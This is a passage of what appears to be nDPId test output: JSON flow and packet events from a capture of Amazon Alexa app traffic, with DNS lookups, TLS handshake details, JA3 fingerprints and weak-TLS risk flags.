{"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00536{"flow_id":135,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2535,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976159,"pkt_ts_usec":147892,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9ZJ1AAOcGOxA0XuiGrBAq2AG7sreYM6oado6Ds1AYf\/jWEQAAFgMBAEoCAABGAwFY3n2ejsBVJxuO9LpSs5v2aSzauuFSRGgpga0DGSdUzyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2535,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":135,"flow_packet_id":5,"flow_first_seen":1490976158680,"flow_last_seen":1490976159147,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45751,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00491{"flow_id":135,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2536,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976159,"pkt_ts_usec":147966,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdZKJAAOcGOys0XuiGrBAq2AG7sreYM6pvdo6Ds1AYf\/glEQAAFgMBADBQGcC5qybAnI9iGstyBUWJgNk+lZDudarUeJSYsOnfkMQBIsPOKnH1wiFJDU8PRtQ="} +00417{"flow_id":135,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2537,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976159,"pkt_ts_usec":499843,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo\/otAAEAGSHesECrYNF7ohrK3Abt2joOzmDOqb1AQAVfJWAAA"} +00417{"flow_id":135,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2538,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976159,"pkt_ts_usec":501227,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo\/oxAAEAGSHasECrYNF7ohrK3Abt2joOzmDOqpFAQAVfJIwAA"} +00501{"flow_id":135,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2539,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976159,"pkt_ts_usec":558056,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABj\/o1AAEAGSDqsECrYNF7ohrK3Abt2joOzmDOqpFAYAVeKqQAAFAMBAAEBFgMBADDT\/fj5mt1K7DDH\/OsfTdSBbVYkr7hyQzmxO0nFMrIDZLjQMPZPtKLys+qOIzRRSgc="} +02395{"flow_id":135,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2540,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976159,"pkt_ts_usec":558368,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc\/o5AAEAGQsCsECrYNF7ohrK3Abt2joPumDOqpFAQAVfZfwAAFwMBACBHhMzaUkkFn4XVJ2whF41fv7ijSOZ64xISp504M1oMrhcDAQZgQVTmG3ec86g5ZSPBSaY9WmzWTntgckAzKUW+MoVLOQdekcBWkjjMeYIz0Z0fCnDL5zNGDxlw+XNSE50kTv7Ahyw2yGmoLZuImZW4Cw+3dQrwtIwv7K+ta+x0a5qLDFGj+qLIlegmWKdgWmMTFmAps60drpiePBAcy6F\/z5MtOjPXWJj0Dqad3Eg7VW7ZjycJ0pDhV79ckWo7vvKp2gZQBVf8VpcKwvmQJddcJVDpTCcDe8QRHWKjQNIZMDJGjzhfdET+NSL1Xe0cKxuZIszzGgJO2AqJc6TEnizn6oVPl10\/akcMV4RNHCcXmV8kjmaNUi40WyoX1ttA2xj1qOZT+G79X9CmG0Zyt9kbQYoI4ji279raTZtnqJjSZW4\/FhuMmHVkjZk0k+4mWoDQBvLMWB3somjQcLCxGjIAAIOn8YS1N+XX45de0ULKQA+5yD4v8plWT6NKyunLeH9e4NmdblwB9qn1ius+R2fX5cvoaBoKlGKppGITT1\/+D+q1k45Vxcaie8K1JbOXdfBT0CFVRWZBGnH68zJknElv4Hx6kmtES0gxG+NgApc\/3mg2Sd9ijV6KoZ49b6IDuDwQ+v4KplppVrpwMcuFtFXVTFHzGewoDNxWS2omkR9xGyVRjdpNKTOgnuatVHccYjPh+rtzP3YXGwPqdYfApTjZRr1W24OBhTLkks8OJrlgwHS8Mi62Ds84AiMj3ydgkldYTne\/j9dDjlBkathdJFqOvyFNvS5FNbQncMUAQQwpS\/zLoIm46ZjkBFBLGg3DyTKNj\/lIC1bdYOb9KvWzJdQ5if0Q8AkVdDA2xwxL2eYU45TxfUAt\/Kxb5sywDhtFx4OPX8gKPJteO1FjZl4Tc6G8oUs4zu51fYzPo\/g5u8MId0rmw7kucm+VQqGAIDuq6sCBR\/jZlFl\/Rfzl5skRaeFrUdJ4COVe7qRuP6a80nOxyuM6IR3hj\/tCXQWtoQmBEh7K6zzYm9sknhg6jw7wCICwW\/VuW\/dZS1t50W7wO+NxLZEX\/XYj9LPGFThcdKNEIQdRKCFMfUL8qtWDU4e5N\/Jrk2fNPDYUWHfXMMOi+0DGzatZTA2Qo4Qi9shKCBY72m3gnAw9x72E1OMjjXBhxI2176MKPY3E\/QqeRyPlHJ00h+CymS3P9L8zGeVRIDOY20R2sN3VVdtSvYxfKic3JV19eFWdeod1skifGw41VNF63Yevvrtjk8DDBmksrhQEEju\/SjzP03kiU15C4Qj1kRw8C0fVTwZDTtwnSc8KA+IMsXkQKl8VSN2zIAqeUWrX2KKmkeX2cqhvp0mYJ1Z9wz1cK5QCBMJCLXwlXldS7WkPQziMMVJEaxppVaZ95LOX3\/fu5FwWqf0kkadtvZs6E9dJ5fO7yT1LFXEJYiUA5lcK7GjrR2CsBISsVGo6l0ubq8IssJ3F3CneW4K4eKd3XHvvOiX1OfdZ02AAIaFuiHK2cjcplPJdp5P8lr1XqGqk1yxC2NsTU5JQeROLDr\/loL7Ik5rbZKUKowhwLVkMjhnb+lfGL0F51EgOzGViwk5DWvkISIeCTHkafnoZkn4YxuMomAln5k1d9UxgZ3UcA30sXniWuwf2lrZDE06cmRdoASuY1g3gw16n5FnPt6IpJh6mYbKGt\/p9RtgN2IRwGuyb89Zu+2KFRgNzVgBMdk1KBOTMMcnTe4Sw1kNFrrjubmp7YehLasHUPIq1WAelH+D35VLe1I8OX6uuf4rFbUjykiAjHNblqoe6zPYsjWLlyLkSm4+Hy4HTVwyimhmIBU937w\/zMHKvMtDIP0yKA2tceypo2ncZQKXHYk6Ean2aCM5uXRMLU2YAm3w8tjx4URby6PiWLRMCQCRUn0P6iPJu9SYD3jC25IANpiaXVfpNt8E="} +00712{"flow_id":135,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2541,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976159,"pkt_ts_usec":558513,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AMDKkaPvePiC0\/vCCABFAAD+\/o9AAEAGR52sECrYNF7ohrK3Abt2jomimDOqpFAYAVcrJgAA7xVaUmqbmDSVPO2fg+Oy2Q57Zf4bVpkxkOj1ehHX1cKjQKMfCj6d09RaxiIEJPzK6aRCTwT5SBqGzrqsvayLlyiiPu3+\/g6pw9w6xTbcxZY\/PKVDIdst1za5FWwqiQlh91v4k2CPgpsUmT0JNKf+wuTn13EExWd1Hd9GQf\/s8SbFb8LuyMUChyPra6n63yLoj1lhxAybutp3aXvPrUHeZjbdjjScqON+rHZ07NFbUyaiTQ2yWqfgvJAiKXXwEBR2N9BVc4CPdMPYycstzwDLm8uuBsZxfg=="} +00718{"flow_id":135,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2542,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976159,"pkt_ts_usec":558641,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"AMDKkaPvePiC0\/vCCABFAAEC\/pBAAEAGR5isECrYNF7ohrK3Abt2jop4mDOqpFAYAVdlTAAAFwMBACCUcGkaUnrzncHd6sSkNaOPHGc1Dl27HI2zTxnWcEqvXhcDAQCwYP9NrHnqNc09tv16Kwg\/IvxUNE7987ViO4uzfV010UupSzEvd0dVubN9HvQjbY0itvA+GZFyQ9LerY7Aqwt4\/bTENdClAZ6ZcZ6uxMU8Y2DQKY6sJwXOCxobJob+9TooqGSxu+6UtU3BbxdVrvBYWecX\/S0fp9qFPrhb7PdwwUjPoIixfKE6ReUqwtSaYfb54t\/\/IfUwvheZJIKlipwZ82ybN8kjtdoXkSFLSKbc5II="} +00426{"flow_id":135,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2543,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976160,"pkt_ts_usec":206885,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoYPdAAOcGPws0XuiGrBAq2AG7sreYM6qkdo6D7lAQf\/dKSAAAAAAAAAAA"} +00425{"flow_id":135,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2544,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976160,"pkt_ts_usec":206952,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoYRlAAOcGPuk0XuiGrBAq2AG7sreYM6qkdo6JolAQf+BEqwAAAAAAAAAA"} +00425{"flow_id":135,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2545,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976160,"pkt_ts_usec":206978,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoYRpAAOcGPug0XuiGrBAq2AG7sreYM6qkdo6KeFAQf91D2AAAAAAAAAAA"} +00538{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":91,"flow_packet_id":9,"flow_first_seen":1490976089173,"flow_last_seen":1490976090510,"flow_tot_l4_data_len":236,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49627,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":91,"flow_packet_id":9,"flow_first_seen":1490976089173,"flow_last_seen":1490976090510,"flow_tot_l4_data_len":236,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49627,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":94,"flow_packet_id":10,"flow_first_seen":1490976089426,"flow_last_seen":1490976094931,"flow_tot_l4_data_len":1407,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1016,"flow_avg_l4_data_len":140,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49630,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":81,"flow_packet_id":56,"flow_first_seen":1490976085644,"flow_last_seen":1490976098828,"flow_tot_l4_data_len":22501,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":401,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45703,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":87,"flow_packet_id":20,"flow_first_seen":1490976088605,"flow_last_seen":1490976094930,"flow_tot_l4_data_len":2366,"flow_min_l4_data_len":20,"flow_max_l4_data_len":718,"flow_avg_l4_data_len":118,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45709,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":88,"flow_packet_id":49,"flow_first_seen":1490976088631,"flow_last_seen":1490976098828,"flow_tot_l4_data_len":19892,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":405,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45710,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":90,"flow_packet_id":42,"flow_first_seen":1490976088958,"flow_last_seen":1490976094931,"flow_tot_l4_data_len":13667,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45712,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":97,"flow_packet_id":27,"flow_first_seen":1490976090991,"flow_last_seen":1490976094931,"flow_tot_l4_data_len":5829,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1452,"flow_avg_l4_data_len":215,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41820,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":98,"flow_packet_id":7,"flow_first_seen":1490976091048,"flow_last_seen":1490976094931,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41821,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":98,"flow_packet_id":7,"flow_first_seen":1490976091048,"flow_last_seen":1490976094931,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41821,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2549,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":95,"flow_packet_id":30,"flow_first_seen":1490976090572,"flow_last_seen":1490976094931,"flow_tot_l4_data_len":13094,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":436,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34069,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2555,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1490976164994,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":64073,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":136,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2555,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976164,"pkt_ts_usec":994460,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AMDKkaPvePiC0\/vCCABFAAA+WmBAAEARM1WsECrYrBAqAfpJADUAKhd4KNkBAAABAAAAAAAABWFsZXhhBmFtYXpvbgNjb20AAAEAAQ=="} +00663{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2555,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1490976164994,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":64073,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"dns": {"query":"alexa.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00501{"flow_id":136,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2556,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":58589,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ePiC0\/vCAMDKkaPvCABFAABl5+FAAEARpaysECoBrBAq2AA1+kkAUQAZKNmBgAABAAIAAAAABWFsZXhhBmFtYXpvbgNjb20AAAEAAcAMAAUAAQAAAAsACwhwaXRhbmd1acASwC4AAQABAAAABgAENF7ohg=="} +00690{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2556,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":136,"flow_packet_id":2,"flow_first_seen":1490976164994,"flow_last_seen":1490976165058,"flow_tot_l4_data_len":123,"flow_min_l4_data_len":42,"flow_max_l4_data_len":81,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":64073,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"dns": {"query":"alexa.amazon.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.94.232.134"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2557,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1490976165062,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":39750,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":137,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2557,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":62082,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8ZaZAAEAG4UisECrYNF7ohptGAbs\/AhtsAAAAAKAC\/\/\/dAQAAAgQFtAQCCAoA9n7KAAAAAAEDAwg="} +00429{"flow_id":137,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2558,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":120284,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwviBAAOcG4dk0XuiGrBAq2AG7m0ayU5bRPwIbbXASH\/4vqAAAAgQFtAEDAwY="} +00417{"flow_id":137,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2559,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":122162,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZadAAEAG4VusECrYNF7ohptGAbs\/AhttslOW0lAQAVd6GQAA"} +00655{"flow_id":137,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2560,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":125978,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"AMDKkaPvePiC0\/vCCABFAADWZahAAEAG4KysECrYNF7ohptGAbs\/AhttslOW0lAYAVcqOgAAFgMBAKkBAAClAwFXCTeQDMK\/FDjYD8QCr4+nmvueUE6Ddrnzytp5\/6hChCCDPveyl8oknA6Yiw9M10d1fqyNuQQHuX5ZwIOnN4q82wAcwAnACsATwBQAMwA5ADIAOMAHwBEALwA1AAUA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00745{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2560,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":137,"flow_packet_id":4,"flow_first_seen":1490976165062,"flow_last_seen":1490976165125,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":39750,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00537{"flow_id":137,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2561,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":190083,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9wjpAAOcG3XI0XuiGrBAq2AG7m0ayU5bSPwIcG1AYf\/p8IQAAFgMBAEoCAABGAwFY3n2lKrNMt6\/OX8FdZoR8ql5RDmr00v4XE5Mx8EPChiCDPveyl8oknA6Yiw9M10d1fqyNuQQHuX5ZwIOnN4q82wAvABQDAQABAQ=="} +00812{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2561,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":137,"flow_packet_id":5,"flow_first_seen":1490976165062,"flow_last_seen":1490976165190,"flow_tot_l4_data_len":387,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":39750,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA"}} +00494{"flow_id":137,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2562,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":190224,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdwjxAAOcG3ZA0XuiGrBAq2AG7m0ayU5cnPwIcG1AYf\/oiSQAAFgMBADBdZ5j7PVlY8cSi8l8jfX\/OXPuu6Vgg3tkA1Tr\/q1QeYxZ4o\/GYivNNHdWTTKHOIPc="} +00417{"flow_id":137,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2563,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":191058,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZalAAEAG4VmsECrYNF7ohptGAbs\/AhwbslOXJ1AQAVd5FgAA"} +00417{"flow_id":137,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2564,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":191348,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZapAAEAG4VisECrYNF7ohptGAbs\/AhwbslOXXFAQAVd44QAA"} 